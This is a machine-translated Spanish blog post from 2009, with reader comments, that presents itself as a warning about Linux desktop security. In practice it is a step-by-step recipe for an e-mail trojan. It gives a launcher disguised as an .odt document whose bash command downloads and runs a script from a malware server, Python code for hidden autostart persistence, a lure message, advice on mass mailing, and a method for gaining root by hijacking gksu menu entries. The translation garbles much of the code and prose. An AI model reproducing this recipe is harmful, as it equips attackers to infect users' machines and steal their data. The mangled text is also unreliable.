Cómo escribir un virus de Linux en 5 sencillos pasos
linux, de publicación: 11-FEB-2009 05:33

Nota: me envió un seguimiento a resumir los puntos y comentarios que he 
recibido
como parte de la abrumadora comentarios a este artículo. Por favor, lea 
este seguimiento
antes (!) publicar un comentario, ya que algunos de lo que puede querer 
decir
Puede que ya se han abordado.

Para el sentido de que ...

... simplemente desplácese hacia abajo para el pacto de paso a paso 
guía. Pero si se quiere conseguir algunos de los antecedentes y las 
explicaciones que acaba de leer a continuación, en.

 

El rumor de la prueba de balas arquitectura Linux

Hay en torno a este rumor que que Linux es libre de virus. Se dice que 
el anticuado patrimonio multi-usuario de Linux (y otros * nix SOs) 
impide que el malware, ya que los usuarios normalmente no se ejecuta sus 
programas en modo de administrador (como usuario root). Se nos recuerda 
que la ejecución de los bits son necesarios para ejecutar cualquier cosa 
- al contrario de Windows - que ejecutan bits y no se fijan en los 
archivos adjuntos o archivos guardados de mensajes de correo electrónico 
o desde un navegador web.

Por lo tanto, se nos dice, la propia arquitectura de Linux es mucho más 
superior a la de Windows que no es sólo posible con éxito propagación de 
malware. Por supuesto - se reconoce - un bajo nivel de error, o un 
desbordamiento de búfer explotables es otra cuestión. Pero, no obstante, 
los usuarios pueden no sólo la captura de un virus por correo 
electrónico o la descarga de malware de Internet, al contrario de "los 
usuarios de Windows". Linux protegerlos de su propia estupidez.

Al menos por lo que la historia va. Pero lamentablemente, eso no es 
cierto. Voy a mostrar cómo es posible en unos pocos pasos para escribir 
un correo electrónico soportado perfectamente válido para el virus de 
Linux de escritorio modernos. Lo haré porque no quiero poner Linux. Más 
bien al contrario: me gusta y el apoyo de Linux, que es todo lo que 
estoy en casa y en el trabajo. Soy un gran defensor del software libre y 
abierto como lectores de este blog sabrá. Pero si hay riesgos de 
seguridad, incluso en mi sistema operativo favorito o la distribución, 
entonces tendrá que ser discutido. Aún más importante: una falsa 
sensación de seguridad es peor que la falta de seguridad. Y sin 
pretensiones de superioridad no ayudan en un debate bien.

 

Algunas notas antes de empezar

Actualización: Ha habido muchos comentarios acerca de mí utilizar el 
término "virus" aquí no correctamente. Que debo hablar de un "caballo de 
Troya" en su lugar. Existe un cierto desacuerdo sobre si un virus 
requiere la interacción del usuario o no, y si se trata de un gusano, si 
estamos hablando de los programas maliciosos que pueden propagarse sin 
la intervención del usuario. También existe cierto desacuerdo sobre si 
un programa malicioso que se propaga a través del correo electrónico 
puede ser considerado como un virus o no. Hay muchas fuentes que se 
llame tal cosa un virus (un correo electrónico de virus) y otros que 
sean más exigentes en su definición. Deja que este artículo no se acerca 
de ese debate. Estoy llamando a este malware aquí un "virus", aunque sí 
requiere de la interacción del usuario y aunque yo no proporcionan 
código para saber cómo propagación propia (que el código sólo se 
proporciona como de muy alto nivel de pseudo-código).

Debo señalar: Las vulnerabilidades que se están tomando ventaja de las 
características "de los más populares de Linux modernos entornos de 
escritorio Gnome y KDE. El verdadero núcleo de Linux no tiene ninguna de 
estas vulnerabilidades. Linux (o cualquier otro * nix) sin ejecutar el 
sistema de Gnome o KDE no presentan ninguno de estos problemas, que es 
una de las grandes ventajas de separar adecuadamente el núcleo del 
sistema operativo otras aplicaciones, tales como el entorno de escritorio.

En la otra cara, si ejecuta los entornos de escritorio en otros SOs (tal 
vez en FreeBSD, por ejemplo), entonces posiblemente tengan que tratar 
con la misma vulnerabilidad. Un título más preciso para este mensaje de 
correo electrónico, por lo tanto, podría haber sido: ¿Cómo escribir un 
Gnome / KDE el virus en 5 sencillos pasos. Pero desde Gnome y KDE son 
especialmente utilizados en Linux, creo que un virus basado en el riesgo 
que afectaría a la mayoría de los usuarios de Linux. Así pues, el título 
elegido sigue siendo válida.

El texto de este artículo aquí le explicará que es necesario adoptar 
medidas para infectar un equipo de escritorio y la manera de instalar el 
software malintencionado y proporcionará información de antecedentes 
sobre las razones por las medidas que sean necesarias y la razón por la 
que trabajan realmente. Después de la explicación ya hay una más 
compacta paso a paso hacia el final de síntesis. Aunque hay algunos 
fragmentos de código, el artículo no proporcionar el código de un 
ready-made pieza de malware.

Hace unos días me envió un mensaje a los equipos de seguridad en Ubuntu 
y Fedora, preguntando si les gustaría echar un vistazo a esto antes de 
publicar. El equipo de Ubuntu no ha respondido todavía, pero el equipo 
de Fedora me dijo que esta es "muy conocido y el comportamiento 
esperado" y que no tienen ningún problema con la publicación de este me. 
Bien conocido y esperado? ¿En serio? Pero luego bien, aquí vamos.


Cómo los usuarios a abrir archivos adjuntos: Echa un vistazo a estas 
fotos desnuda!

Si usted está esperando ahora a algunas nuevas, fantangled explotar o 
algo más inteligente hackery, tendré que totalmente le desilusionará. Lo 
que estoy mostrando aquí es sólo un ejemplo de cómo la vieja escuela de 
ingeniería social "virus" (que apenas merece ese nombre) que se han 
molestando Windows mundo durante tanto tiempo se puede hacer para correr 
en Linux, o cualquier otros * nix OS con un moderno entorno de escritorio.

La premisa de este tipo de "virus" es simple: Obtener un usuario ejecute 
un archivo adjunto ejecutable que les envió por correo electrónico. Esto 
es completamente de baja tecnología. N negro magia aquí. No estoy 
tomando ventaja de una nueva explotación de ninguna manera. Para hacerlo 
funcionar en Linux estoy utilizando el "características" de los modernos 
entornos de escritorio en algo involuntaria formas, supongo. Después de 
todo, todo "bien conocido y esperado".

Hacer esto en Windows es sencillo. Usted crea sus propios programas 
maliciosos como un archivo EXE, adjuntarlo a un mensaje que dice algo 
como: "Whoa, consulte estas fotos de desnudos ....!". El desventurado 
usuario hace doble clic sobre el archivo adjunto, que Windows - en la 
ausencia de algunos decente software anti-virus - obedientemente a 
ejecutar. Antes de que usted lo sepa, el malware está instalado y el 
sistema de propiedad. La ejecución de. EXE desde clientes de correo 
electrónico en Windows es, por supuesto, también "muy conocido y esperado".

¿Crees que esto no es posible bajo Linux? Por supuesto que sí. Solo 
requiere de uno o dos pasos más. Sin embargo, no hay nada fundamental 
sobre la arquitectura de Linux, que evita que el usuario la estupidez o 
la ignorancia, que es, por supuesto, el ingrediente principal en 
cualquier vector de ataque como este.

Sólo hay un pequeño obstáculo, que necesita ser superada. Bueno, dos, en 
realidad.

En primer lugar, la mayoría de clientes de correo electrónico para Linux 
no ejecutar archivos adjuntos. Puede que intente abrir si se conoce la 
extensión como una indicación de un documento o tipo de medio (. Pdf y 
otros documentos, por ejemplo). Pero eso es todo. Entonces, digamos que 
ha escrito su malware como una buena secuencia de comandos Python. En 
ese caso, su secuencia de comandos puede tener el. Py que termina, pero 
el cliente de correo electrónico sigue siendo poco probable que invocar 
el intérprete de Python para usted. Usted tendría que salir de su manera 
de configurar el sistema para hacerlo, y que haría algo como esto?

No, necesitamos un enfoque ligeramente diferente. Algo que siempre se 
ejecuta al hacer clic sobre. Y aquí es, entonces, un paso más que debe 
adoptar el usuario, lo que podría reducir la tasa de éxito de este 
vector de ataque un poco. El usuario debe primero guardar los datos 
adjuntos y, a continuación, haga doble clic en él. Porque si bien el 
cliente de correo electrónico normalmente no se puede ejecutar un 
archivo ejecutable, el entorno de escritorio muy bien como se puede ver. 
Por lo tanto, la dirección de correo electrónico tendrá que ser algo así:

     Whoa, consulte estas fotos de desnudos ...!
     (si el archivo adjunto no se desea abrir sólo guardarlo en su 
escritorio y abrirla ...)

Sospechosas de sonido que a la mayoría de nosotros, pero "la mayoría" no 
es "todos" los usuarios y la estupidez está en todas partes. Además, 
muchos de los usuarios basados en la web son clientes de correo 
electrónico utilizada para guardar la primer rutina de todos modos.


No subestimar la ignorancia del usuario - incluso en Linux

Usted podría argumentar que la mayoría de los usuarios de Linux tienden 
a ser un poco más conscientes de lo que están haciendo. Por lo general, 
tuvo que hacer una elección consciente sobre su sistema operativo y, por 
tanto, tienden a no ser el típico usuario no técnico. Pero eso está 
cambiando! Algunos son enviados netbooks con Linux por defecto. En ese 
caso, los usuarios no han elegido Linux y, por tanto, pueden ser tan 
felizmente ignorante de Windows que los usuarios que hagan clic en 
archivos adjuntos de correo electrónico. Además, algunas de las grandes 
organizaciones están pensando en la masa de Linux de escritorio 
roll-outs. Varias ciudades y gobiernos de todo el mundo, por ejemplo. 
Los usuarios no son técnicos, bien y tienen las mismas probabilidades de 
hacer clic en archivos adjuntos.

Además, el tiempo libre de problemas del pasado han dado a los usuarios 
de Linux un falso sentido de seguridad. Estamos tan acostumbrados a la 
constante mantra de "Linux es tan seguro, ni siquiera tiene el software 
anti-virus!" que probablemente en realidad no tienen ningún software 
anti-virus para la captura de nosotros cuando estamos a punto de hacer 
algo tonto.

Bueno, de nuevo a los aspectos técnicos. La mayoría de clientes de 
correo electrónico guardar archivos adjuntos en el escritorio del 
usuario o del usuario en el directorio de descarga cuando el usuario 
vaya a buscar. Por lo tanto, si el usuario no tiene que examinar el 
archivo adjunto sin cesar, sino que simplemente hace clic en el botón 
'Guardar' en el cliente de correo electrónico a continuación, que 
normalmente hace el truco: El archivo adjunto estará allí en la cara del 
usuario. De hecho, me di cuenta de que por alguna razón mi cliente de 
correo electrónico Evolution a veces tiene problemas normales de 
apertura, incluso documentos como archivos adjuntos directamente. Por 
ejemplo, alguien me envía una. Odt expediente, pero la evolución a veces 
no se inicia OpenOffice para mí. Por lo tanto, cuando esto no funciona, 
acabo de guardar y abrir entonces. Ya estoy capacitado para hacer este 
tipo de cosas! Probablemente no soy el único.

 

Cómo ejecutar archivos adjuntos

Hemos dicho anteriormente que los archivos adjuntos normalmente no se 
ejecuta cuando se almacenan como archivos. No hay ninguna norma que la 
extensión de archivo indica que un archivo debe ser ejecutada al hacer 
clic, ya que hay bajo Windows. - Y este es el segundo gran obstáculo que 
debemos superar - para el archivo ejecutable que se bajo Linux (o 
cualquier otro sistema operativo * nix), la ejecución de bandera tendría 
que ser establecido en los permisos del archivo. Esto es algo que 
Windows no tiene, y que a menudo es visto como una de las razones por 
infectar un PC con Windows puede ser tan fácil, y por qué debería ser 
casi imposible en los sistemas * nix. Al guardar un archivo adjunto de 
correo electrónico bajo Linux, ejecute el pabellón no se suele fijar y 
por lo tanto, el archivo no puede ser ejecutado simplemente haciendo 
clic en él. Así pues, la suerte no?

No tan rápido. Modernos entornos de escritorio, como Gnome y KDE, 
convenientemente ofrecer una buena "solución" que se llama "lanzadores". 
Estos son pequeños archivos que describen cómo algo que debe ser 
iniciado. Sólo unas pocas líneas que especifican el nombre, el icono que 
debe mostrarse y el comando a ejecutar. Convenientemente, la sintaxis de 
los archivos de lanzamiento es el mismo para Gnome y KDE. Y los 
lanzadores no tienen que tener permisos de ejecución establecidos en 
ellos! Entornos de escritorio tratar los archivos como un caso especial, 
por lo que al hacer clic sobre ellos Gnome o KDE felizmente ejecutar el 
comando que se especifica en la descripción de lanzadores y sin la 
necesidad de que el bit de ejecución que se establezcan en el propio 
lanzador. Ahora estamos recibiendo más!

Un problema al que nos enfrentamos ahora es que el comando que puede ser 
ejecutado por un lanzador es realmente sólo una línea y un solo comando. 
Es un poco difícil de instalar malware con un solo comando. O es? ¿Qué 
tal esta aquí:

     % De bash-c "curl http://www.some_malware_server.org/s.py-o / tmp / 
s.py; python / tmp / s.py"

¿Qué significa este único comando hacer? Comienza bash, un shell de 
comandos (parte de cualquier instalación por defecto), y pasa una cadena 
argumento con dos comandos simples a la misma, que luego ejecute bash. 
El primer comando (curvatura) descarga un script de algunos de malware 
servidor tiene que crear y, a continuación, almacena la secuencia de 
comandos en un lugar donde sabemos que podemos escribir a (el directorio 
/ tmp). Tenga en cuenta que en algunos sistemas (Ubuntu, por ejemplo) no 
tiene la curvatura, sino un comando similar, llamado wget. Que complica 
la línea de comandos aquí un poco, pero no es un problema insuperable, 
como se muestra en el paso a paso se guía más abajo. El segundo comando 
(la llamada al intérprete de Python) que se ejecuta luego recién 
descargado script (una secuencia de comandos en este ejemplo). Tanto 
Python y la curvatura (o wget) son normalmente parte de la instalación 
por defecto de la mayoría de las distribuciones Linux.

Si ponemos esto en la línea de la Ejec lanzador definición entonces un 
simple clic sobre el lanzador que dará lugar a la ejecución de un mando 
único, que a su vez ejecuta dos comandos, que luego llevan a la descarga 
y ejecución de una compleja secuencia de comandos arbitrarios. Todos, 
sin el bit de ejecución está establecido en ninguna parte.


Usted no necesita ser root para 0wn alguien

Ninguno de los que hasta ahora requiere privilegios de root. Y ahora 
nuestro script puede hacer lo que desea hacer dentro de los confines de 
la cuenta de usuario. Confinado puede ser, pero eso no impide la 
posibilidad de daños importantes por hacer.

Por ejemplo, puede empezar a Aluminio para Pilfer a través de la libreta 
de direcciones del usuario para recoger direcciones de correo 
electrónico, los envían fuera de malware a nuestro servidor, inicie el 
envío de spam o correo electrónico se puede propagar por sí mismo 
e-mail. Se puede instalar una extensión de Firefox que captura 
contraseñas a medida que el usuario escribe. Se puede comenzar a 
compartir el escritorio del usuario a través de VNC sin conocimiento del 
usuario. Se puede iniciar un fondo de demonio que aparece anuncios. 
Linux publicitario!

Todo ello se ejecuta como un usuario normal proceso. En verdad, en un 
sistema de escritorio que normalmente sólo es utilizada por un único 
usuario, la propiedad que cuenta de usuario es casi equivalente a la 
propiedad raíz, por lo que está haciendo daño en cuestión: la acción que 
todos los interesados en lleva a cabo en la cuenta de usuario de todos 
modos.

Pero tal vez usted realmente quiere tener su raíz para el malware? 
Bueno, hay una manera de hacerlo así, pero esto no está garantizado para 
trabajar en todos los casos, y francamente no es necesario para el buen 
infectar una máquina. Entonces, para no distraer de los puntos 
importantes de este artículo aquí, tengo una discusión de que en un 
apéndice.


Automáticamente al iniciar el sistema

Pero, incluso si el usuario no es capaz de encontrar el proceso en 
ejecución y matar luego reiniciar un simple disparate que dejará de 
derecho? Ciertamente, se necesitan privilegios de root a fin de obligar 
a nuestros programas maliciosos que se lanza automáticamente en caso de 
reiniciar el sistema, ¿no?

No es así. Los usuarios no necesitan privilegios de root para configurar 
determinadas aplicaciones para autolaunch cuando se acceda a sus propias 
sesiones de usuario. Es que son sólo de hacer cambios a su propio 
período de sesiones y cuenta de usuario, no el sistema de ajustes. Una 
vez más, todo comenzó a aplicaciones como parte de la sesión de usuario 
sólo se pondrá en marcha en el nivel de privilegio del usuario, pero 
como hemos visto, esto no es un problema importante. Muchas cosas 
interesantes que se puede hacer incluso en ese caso.

Entonces, ¿cómo conseguimos que se nos automático se inicia cuando el 
usuario se conecta? Hay una serie de scripts que se ejecutan al iniciar 
un shell, pero el usuario que es probable que haga clic en un archivo 
adjunto sospechoso no es probable que inicie un shell muy a menudo en su 
caso. Afortunadamente, los modernos entornos de escritorio tienen su 
propio conjunto de comandos que se autostarting de inicio de sesión. En 
el caso de Gnome, eche un vistazo a lo que usted encuentra en ~ / 
.config / automático (este directorio puede no existir todavía, si no se 
ha configurado algún aplicaciones de inicio automático). ¡Así es! Más 
lanzadores! Estos son cada vez que ejecute el usuario inicia sesión en 
Gnome. Para KDE es aún más simple: Sólo enlace a su ejecutable desde el 
directorio ~ / .kde / Autostart directorio.

Nuestros programas maliciosos, sólo tiene que crear una entrada adecuada 
en esos directorios y se comenzará a correr cuando el usuario se conecta!

Y eso es todo lo que a él. Dejo la escritura de la secuencia de comandos 
de software malicioso como un ejercicio para el lector.


Compacto paso a paso guía

Bueno, aquí está el resumen a continuación, que también llena en unos 
pocos detalles más específicos:

    1.

       Escribir una pieza de malware de su elección. Tal vez como una 
secuencia de comandos Python? Buena lengua, eficiente código, 
pre-instalado en la mayoría de distribuciones Linux y poderosa 
biblioteca estándar de apoyo (por ejemplo, las bibliotecas para el envío 
de peticiones HTTP y SMTP manejo son parte de la mayoría de las 
instalaciones). El lugar que el malware en algunos servidor web.
    2.

       Sus necesidades de malware la capacidad de instalar un lanzador 
por sí mismo de modo que se inicia cuando el usuario inicia sesión pulg 
Como ya se mencionó, para Gnome que significa crear un lanzador en la 
descripción ~ / .config / carpeta automáticamente. Para KDE solo enlace 
a su ejecutable desde el directorio ~ / .kde / Autostart directorio. 
Para hacer que el código viral puede simplemente forzar la cuestión y 
copia de un lanzador o un enlace a sí mismo en ambas localidades 
(creación de directorios en el camino si no existe) o puede ser un poco 
inteligente y elegir lo correcto hacer basado en el entorno de 
escritorio que se detecta.

       Por ejemplo, para crear el acceso directo de KDE, todo lo que 
necesita para escribir en Python es el siguiente:

          os de importación
          uname = os.getlogin ()
          drop_dir = "/ home /% s / .kde / Autostart" uname%)
          os.makedirs (drop_dir)
          os.symlink ( "/ home /% s / .local / .hidden / s.py" uname%, 
drop_dir + "/ s.py")

       Gnome para la secuencia de comandos en lugar de escribir las 
necesidades de un lanzador en el directorio adecuado:

          os de importación
          relauncher_str = "" "
          [Desktop Entry]
          = Tipo de Aplicación
          Name = Malware
          = Exec python .local / .hidden / s.py
          Icono = sistema de gestión
          "" "
          uname = os.getlogin ()
          drop_dir = "/ home /% s / .config / automático" uname%
          os.makedirs (drop_dir)
          f = open (drop_dir + "/ Malware.desktop", "w")
          f.write (relauncher_str)
          f.close ()

       Escrito automáticamente estas entradas es, probablemente, algunas 
de las primeras acciones que debe realizar su programa malicioso.
    3.

       Ahora crear un lanzador de escritorio para el archivo instalador 
del malware, que es diferente que el lanzador que usamos para reiniciar 
el programa viral después de un reinicio del sistema. El lanzador de 
escritorio para el instalador es lo que enviar como archivo adjunto en 
el correo electrónico dirigido al usuario. Es lo que el usuario hace 
clic en una vez que guardó. Pruebe algo como esto:

          [Desktop Entry]
          = Tipo de Aplicación
          Name = some_text.odt
          = Exec bash-c 'URL = http://www.my_malware_server.com/s.py;
                                   DROP = ~ / .local / .hidden;
                                  mkdir-p $ DROP;
                                  if [-e / usr / bin / wget];
                                  entonces $ URL wget-O $ DROP / s.py;
                                  más $ curl URL o $ DROP / s.py; fi;
                                  DROP $ python / s.py '
           Icono = / usr/share/icons/hicolor/48x48/apps/ooo-writer.png

       Tenga en cuenta que nos ha especificado un nombre que es de 
aspecto inofensivo e incluso optó por un icono que le hace parecer como 
un documento normal (este icono está presente tanto en Ubuntu (Gnome) y 
Kubuntu (KDE) sistemas, pero no molestamente en Fedora). Si usted 
demanda para enviar fotos de desnudos en el correo electrónico, basta 
con darle un nombre que lo hace sonar como una imagen (con algo. Jpg al 
final) y eligió uno de los iconos estándar de imagen.

       El Ejecutivo es un poco más ahora, porque hemos de dar cuenta de 
la posibilidad de que sea instalado wget o curl. Por ejemplo, Ubuntu
       sistemas suelen tener wget, mientras que Fedora viene con 
abarquillamiento. Así, se pasa a las órdenes de bash con el fin de 
comprobar que uno está presente y, a continuación, llame el comando 
correcto para descargar el malware. Yo no soy un experto en bash, por lo 
que podría ser una forma mucho más eficiente para hacerlo. Sin embargo, 
usted consigue la idea. Asimismo, en esa línea estamos creando una buena 
ubicación para el script ($ DROP), que no es inmediatamente evidente. El 
comando mkdir con la opción-p se silenciosamente crear directorios de 
cualquier padre son necesarias. La meta está en el directorio home del 
usuario, escondido en algún directorio local que miran inocentes y sólo 
puede ser visto también en el caso de mostrar archivos ocultos. El 
directorio / tmp, por supuesto, no es un buen lugar para nuestro 
programa malicioso, ya que se limpia con cada reinicio del sistema.

       Guardar este archivo lanzador con el nombre que ha especificado 
con el Nombre de la línea, pero añadir ". Escritorio 'al final del 
nombre de archivo real. Así pues, en nuestro caso, que guarde el archivo 
como 'some_text.odt.desktop ». Cuando este lugar en su escritorio, verá 
que Gnome o KDE será tratado de manera especial, no se muestra la '. 
Escritorio' extensión. Así, el archivo sólo aparece como 
"some_text.odt». Por supuesto, eso también significa que el archivo 
adjunto de correo tendrá esta ampliación también. Algunos usuarios 
pueden notar, muchos otros no.
    4.

       Adjunte este archivo a un correo electrónico, que le pide al 
destinatario para guardar y abrir el archivo adjunto. Como se ha 
explicado, una vez que se ha guardado que sólo aparecen como 
"some_text.odt 'en el escritorio del usuario. Y con el icono que hemos 
elegido en el lanzador descripción que parecen inofensivos.
    5.

       Envía este mensaje a la mayor cantidad de direcciones de correo 
electrónico que usted puede obtener una bodega de.

Voila! Un virus de Linux en 5 sencillos pasos. Cada usuario que abre y 
guarda el archivo adjunto que les han enviado recibirá propios infectado 
con el malware script de su elección, que también se reinicia cada vez 
que el usuario se conecta de nuevo.

Eso fue fácil, ¿no?


Soluciones para el problema

La solución más sencilla para evitar este tipo de problema es no sólo 
hacer clic en archivos adjuntos a ciegas que las personas le han 
enviado. ¿Eso suena como una frase que siempre ha escuchado en el 
contexto de Windows antes? Usted apuesta. El punto es: Incluso en Linux 
estos consejos deberían ser tomadas en serio.

Un paso que podría ser adoptada por el desarrolladores de Gnome y KDE: 
Exigir a los lanzadores tienen permisos de ejecución. Un archivo adjunto 
guardado no tendrá las mismas. Por lo tanto, a pesar de una sintaxis 
correcta y adecuadamente llamado lanzador se redujo en el escritorio de 
un usuario no puede simplemente haga clic sobre él y empezar a ejecutar 
en caso de que el conjunto no es poco.

En tercer lugar, deje de perpetuar el mito de que el malware y los virus 
son sólo un problema para Windows. Linux es - en principio - vulnerables 
y, por supuesto. Aunque los usuarios no actúan con privilegios de root, 
en caso de que inadvertidamente ejecutar un poco de malware entonces 
mucho daño y automáticamente la instalación todavía se puede hacer. El 
simple hecho de que un archivo adjunto de ejecución no se ejecutará como 
root no es una protección útil contra la gran cosa, como hemos visto. El 
hecho de que los archivos adjuntos no se guardan con el bit de ejecución 
no es una protección suficiente, puesto que los entornos de escritorio 
modernos le permiten maniobrar cuidadosamente alrededor de eso.

Ahora la limitada cuota de mercado de Linux en el escritorio ofrece 
cierta protección. La mejor arquitectura de seguridad global ofrece más 
protección. Pero nada de eso es engañar a prueba. Y con grandes 
despliegues de Linux en los lugares de interés - como las organizaciones 
gubernamentales - las instalaciones que también interesante para los 
objetivos de los autores de malware.


Thunar?

Curiosamente, el gestor de archivos Thunar bajo xfce (Xubuntu 8.10) está 
haciendo algo que Gnome y KDE administradores de archivos no están 
haciendo: Es la bandera de escritorio lanzador archivo como potencial 
viral y, por tanto, evitar la ejecución a través de un simple clic. Esto 
funciona si el archivo adjunto se guardó dentro de Thunderbird o desde 
dentro de una base de sistema de correo electrónico, como Yahoo Mail. 
¿Alguien sabe qué hace aquí Thunar específicamente para llegar a la 
'malware' conclusión?

Sin embargo, confirmó que trabaja con los frescos, las existencias de 
Ubuntu 8.10, Kubuntu 8.10 y Fedora 10 instalaciones. Dado que se trata 
principalmente sobre la base de la funcionalidad de Gnome y KDE, supongo 
que la mayoría de las distribuciones que utilizan los ordenadores son 
vulnerables también.


Bootnote

Hace algún tiempo hubo un desafío lanzado a escribir un virus que sea 
capaz de infectar un sistema Linux de escritorio. El original reto que 
figuran dos importantes salvedades, sin embargo: En primer lugar, debe 
ser capaz de infectar la máquina de la persona que escribió el reto. 
Nada más se sabe acerca de esa máquina. Por ejemplo, no sabemos qué 
escritorio que estaba en funcionamiento. En segundo lugar, el virus debe 
ser capaz de escribir un archivo en el directorio / etc, a la que 
normalmente sólo root tiene acceso.

Me gustaría que el contenido de Linux un virus puede ser exitosa si es 
capaz de infectar a la instalación estándar de algunas de las 
distribuciones más populares. Sé que el enfoque que propongo será capaz 
de infectar a una instalación estándar de Ubuntu, Kubuntu y Fedora, por 
ejemplo.

En segundo lugar, como se ha señalado anteriormente, obtener privilegios 
de root no es necesario para el buen infectar una computadora Linux. 
Bueno, es más de la cuenta del usuario que está infectado, no? Sin 
embargo, si estamos hablando de computadoras de escritorio luego en su 
mayor parte, sólo hay que ir a un único usuario. La distinción entre 
infectar el sistema (como root) o la cuenta de usuario (como el usuario) 
es totalmente académico, en el mejor. Esa es una infección en la 
práctica lo mismo que decir 'la máquina está infectada ". Después de 
todo, el usuario está conectado en su mayoría y el malware se ejecute 
siempre que sea el caso. De todos modos, me puse en contacto con el 
autor de este desafío y explicó la situación a él. Insiste en el 
original las normas establecidas en su desafío, sin embargo. Justo lo 
suficiente, es su problema y, por tanto, sus normas de desarrollo.

Entonces, ¿qué pasa si usted realmente quiere raíz entonces?

 

Apéndice: Cómo raíz

Obtención de privilegios de root es siempre considerado como un poco de 
el santo grial-en peligro de otra máquina. Como hemos visto, que no 
tenga en realidad no es impedir que tengan un buen tiempo con un virus, 
sin embargo. Pero sólo para la integridad favor, permítanme esbozar una 
forma de malware para obtener su raíz. Podría haber otras formas, pero 
esto es lo que podría llegar a por ahora.

Usted ve, incluso los usuarios de Linux de escritorio normal de vez en 
cuando hacer cosas como root. En el caso de Ubuntu, por ejemplo, que va 
a utilizar "sudo" (o el equivalente gksu gráfica) de vez en cuando para 
llevar a cabo la administración del sistema. Tal vez para administrar 
usuarios, cambiar la fecha y la hora o para instalar software nuevo. 
Muchos temas en el Sistema -> Administración menú le pedirá su 
contraseña por esa razón. Por defecto, el usuario de un sistema de 
escritorio de Ubuntu tiende a ser en el "administrador" del grupo, que a 
su vez se menciona en el archivo / etc / sudoers. Así, mediante la 
aportación de su propia contraseña, puede realizar tareas con 
privilegios de root.

Así que, ahora, ¿cómo podemos sacar provecho de esto? Resulta que los 
elementos del menú de su escritorio Gnome son configurados 
individualmente en alguna parte. Quizás podamos piratear que lo que en 
lugar de synaptic (el gestor de paquetes gráfico) o cualquier otra 
utilidad que se ejecuta en sudo o gksu) nuestro buen viral se inicia en 
lugar? Después de que el usuario ha dado su contraseña para sudo? Pero 
como resulta que los elementos del menú se definen en un lugar al que 
sólo root tiene acceso de escritura. Echa un vistazo a / usr / share / 
applications. Allí se encuentra - de nuevo - un gran número de archivos 
de lanzador. Se trata de definir los distintos elementos del menú. Por 
ejemplo, eche un vistazo a synaptic.desktop. Usted puede ver allí la 
siguiente línea:

Gksu = exec / usr / sbin / synaptic

Sí, por lo que si podríamos seguir adelante y editar ese, ¿no? Si 
nuestro programa malicioso podría ir y que a cambio:

= Exec python gksu .local / .hidden / s.py / usr / sbin / synaptics

Que nuestro software malicioso ejecutar con privilegios de root. Tenga 
en cuenta que hemos pasado en silencio el nombre original del ejecutable 
(/ usr / sbin / synaptics) a nuestros programas maliciosos, para que 
pueda empezar a synaptics después de que se hace permanentemente a sí 
mismo privilegios de root o haciendo lo que quiere hacer como root. De 
esta forma el usuario no se convierta en sospechoso.

Pero, por desgracia, no podemos editar ese fichero. De suerte otra vez? 
Afortunadamente, no. Gnome es tan amable para ver si podemos tener una 
definición local de uno de los archivos de escritorio, que debería 
invalidar todo el sistema de ajustes. Entrar en los ~ / .local / share / 
applications. Por lo tanto, usted puede copiar el archivo desde 
synaptic.desktop / usr / share / applications a ~ / .local / share / 
applications y realizar los cambios que desee sobre el mismo. Luego sólo 
hay que sentarse y esperar a que la próxima vez que el usuario inicia 
synaptics y está en el negocio.

Por supuesto, usted no tiene que limitarse a synaptics. Para tener una 
mejor oportunidad de ser ejecutada con privilegios de root cualquiera de 
las aplicaciones en el menú de administración que requieren gksu juego 
sean justas. Y francamente, probablemente pueda hacer cambios similares 
e introducir gksu a muchos de los elementos de menú en Sistema -> 
Preferencias. Como usuario de Ubuntu que se utilizan para dar su 
contraseña a gksu de vez en cuando. Si el usuario no presta atención, ni 
siquiera notará que sólo se le pregunte por su contraseña de una 
utilidad que nunca pedirá la contraseña antes.

Y para aquellos usuarios que gustan de utilizar el shell: Bueno, en este 
caso, el malware puede simplemente lío con su camino y una definición de 
"sintonía" de la versión 'sudo' en su camino, que es ejecutado cada vez 
que escriba "sudo ».

Como puedes ver, esta no está garantizado para darle la raíz (si el 
usuario no utiliza los programas), pero hay una buena probabilidad de 
que usted conseguirá finalmente, si eres paciente.

Actualización, febrero 12, 2009: Es realmente me sorprendió, si yo fuera 
la primera persona a pensar de esta vulnerabilidad. Mirando un poco de 
todo en Internet, no pude encontrar ninguna referencia a esto. Así, el 
editor de LWN.net hizo un mejor trabajo. Como se señala aquí, ha habido 
discusión sobre las vulnerabilidades introducidas por. Archivos de 
escritorio en 2006 ya.

 
Nota: me envió un seguimiento a resumir los puntos y comentarios que he 
recibido
como parte de la abrumadora comentarios a este artículo. Por favor, lea 
este seguimiento
antes (!) publicar un comentario, ya que algunos de lo que puede querer 
decir
Puede que ya se han abordado.

 


Tag (s): Linus Linux GNU / Linux viral del virus de correo electrónico 
kde gnome ventanas explotar la vulnerabilidad de seguridad python
   ShareThis

Enlace permanente a Cómo escribir un virus de Linux en 5 sencillos pasos 
| Agregar un comentario (104 comentarios) | Indice principal



Comentario de EvilPixieMan, el 11-FEB-2009 07:05

"Por lo tanto, se nos dice, ... que no es sólo posible propagación de 
malware con éxito."

"Pero, no obstante, los usuarios pueden no sólo la captura de un virus 
por correo electrónico o la descarga de malware de Internet, al 
contrario de" los usuarios de Windows ". Linux protegerlos de su propia 
estupidez."

¿Qué mierda - "Se nos dice" ¿por quién? Usted convenientemente inventar 
un rumor imaginario, y son capaces de desmontar la misma. Bravo por ti!

Puedo ver que usted está tratando de educar a los usuarios que 
simplemente ejecutando Linux no deben pensar que son inmunes a los 
programas maliciosos. Bueno, si usted está tratando de educar, no a base 
de buenas prácticas sobre la lección de desinformación --

1. No sé en dónde quedó el rumor de que Linux es libre de troyanos.

2. Sea claro acerca de la diferencia entre un troyano y un virus.

Linux es mejor tiene un representante en el frente del virus, pero _ANY_ 
moderna orientada al usuario SO ejecuta una aplicación que un usuario 
solicita que se ejecute, por lo que todos son, en cierta medida, 
susceptibles a los troyanos, en cierta medida (En realidad, es más una 
función de el cliente de correo electrónico de comportamiento, y cómo 
"fácil" que hace ejecutar código). Esta es la idea central de su 
artículo, que no era necesario gofre durante tanto tiempo para probar 
este punto.

Comentario de herghost, el 11-FEB-2009 07:26

Excelente, el artículo de apertura de los ojos.

Ay, soy (era?) Una de las personas que cayeron de la "Linux es libre de 
virus" mantra. Y este es el punto clave, y lo hace muy bien: si cada 
nuevo usuario es adoctrinados para creer lo que es eficaz sólo 
technicaly cierto tan pronto como ingresen en la comunidad, el potencial 
para ser explotados es enorme.

Alguien tiene que tomar mucho en examinar si estos "factores de 
conveniencia" están causando más daño que bien.

Nota del autor por foobar, el 11-FEB-2009 07:38

